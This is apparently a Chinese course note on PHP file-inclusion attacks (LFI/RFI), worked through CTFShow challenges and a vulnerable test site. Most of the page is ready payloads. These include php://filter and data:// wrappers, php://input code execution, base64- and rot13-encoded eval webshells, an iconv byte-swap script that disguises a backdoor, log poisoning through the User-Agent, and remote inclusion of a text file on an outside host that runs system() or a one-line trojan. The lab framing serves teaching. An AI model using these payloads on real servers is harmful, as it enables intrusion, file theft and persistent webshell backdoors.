Day50:WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

目录

文件包含-原理&分类&利用&修复

文件读取

文件写入

代码执行

远程利用思路

黑盒利用-VULWEB

白盒利用-CTFSHOW-伪协议玩法

78-php&http协议

79-data&http协议

80-81-日志包含

87-php://filter/write&加密编码

88-data&base64协议

117-php://filter/write&新的算法


知识点:

1、文件包含-原理&分类&危害-LFI&RFI

2、文件包含-利用-黑白盒&无文件&伪协议

文件包含-原理&分类&利用&修复

原理:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。

 <?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞
 <?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞

分类:

  1. 本地包含-Local File Include-LFI
  2. 远程包含-Remote File Include-RFI

差异原因:代码过滤和环境配置文件开关决定

远程包含-Remote File Include-RFI(较少)
x.php?x=http://xxxxx/x.xx (要保证php.ini中allow_url_fopen和allow_url_include要为On)

白盒审计-白盒发现

  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计
  3. 可通过伪协议玩法绕过相关修复等

PHP:include、require、include_once、require_once等,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行

require函数出现错误的时候,会直接报错并退出程序的执行

Java:java.io.File、java.io.FileReader等

ASP.NET:System.IO.FileStream、System.IO.StreamReader等

黑盒发现:主要观察参数传递的数据和文件名是否对应

URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

利用(无文件就是指目标没有上传点,只能包含服务器已经存在的文件)

本地利用思路:

  1. 配合文件上传(目标有上传点,自己上传一个恶意代码的文件)
  2. 无文件包含日志
  3. 无文件包含SESSION
  4. 无文件支持伪协议利用

参考:https://blog.csdn.net/unexpectedthing/article/details/121276653

文件读取

方式一:file:///etc/passwd

方式二:php://filter/read=convert.base64-encode/resource=phpinfo.php

文件写入

方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php  //这个需要代码里有两个参数才行

注:131要改为base64编码才行,图里是错误的

方式二:
php://input 
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

代码执行

方式一:
php://input 
POST:<?php phpinfo();?>

方式二:
data://text/plain,<?php phpinfo();?>

方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

远程利用思路

直接搭建一个可访问的远程URL包含文件(不能是脚本文件,其他后缀随意,可包含一句话getshell)

黑盒利用-VULWEB

http://testphp.vulnweb.com/showimage.php?file=index.php

白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges

78-php&http协议

方式一:
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

方式二:
payload: ?file=php://input post:<?php system('tac flag.php');?>

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
远程1.txt: <?php system('tac flag.php');?> //也可以写一句话木马连上去

79-data&http协议

方式一:
payload: ?file=data://text/plain,<?=system('tac flag.*');?>

方式二:
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
1.txt:<?php system('tac flag.php');?>

80-81-日志包含

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行

故利用日志记录UA信息,UA带入后门代码或者system代码,包含:/var/log/nginx/access.log

87-php://filter/write&加密编码

利用base64:

url编码2次:
php://filter/write=convert.base64-decode/resource=123.php 
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13(类似base64的加密方式):
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

代理中并没有过滤php
生成脚本

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

与凯撒13加密差不多,只不过换了另外一种方式

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-28 12:28:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-28 12:28:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-03-28 12:28:03       82 阅读
  4. Python语言-面向对象

    2024-03-28 12:28:03       91 阅读

热门阅读

  1. 经营分析要干的几件事

    2024-03-28 12:28:03       42 阅读
  2. Springboot vue elementui仓库管理系统

    2024-03-28 12:28:03       36 阅读
  3. 【MySQL】14. 全文索引(选学)

    2024-03-28 12:28:03       42 阅读
  4. [吾题有解] HDLBits : Lemmings4

    2024-03-28 12:28:03       45 阅读
  5. 深入探索React Hooks:关键技术点与实战应用

    2024-03-28 12:28:03       42 阅读
  6. uniapp点击拨打手机号?

    2024-03-28 12:28:03       36 阅读
  7. ARM中断实验

    2024-03-28 12:28:03       31 阅读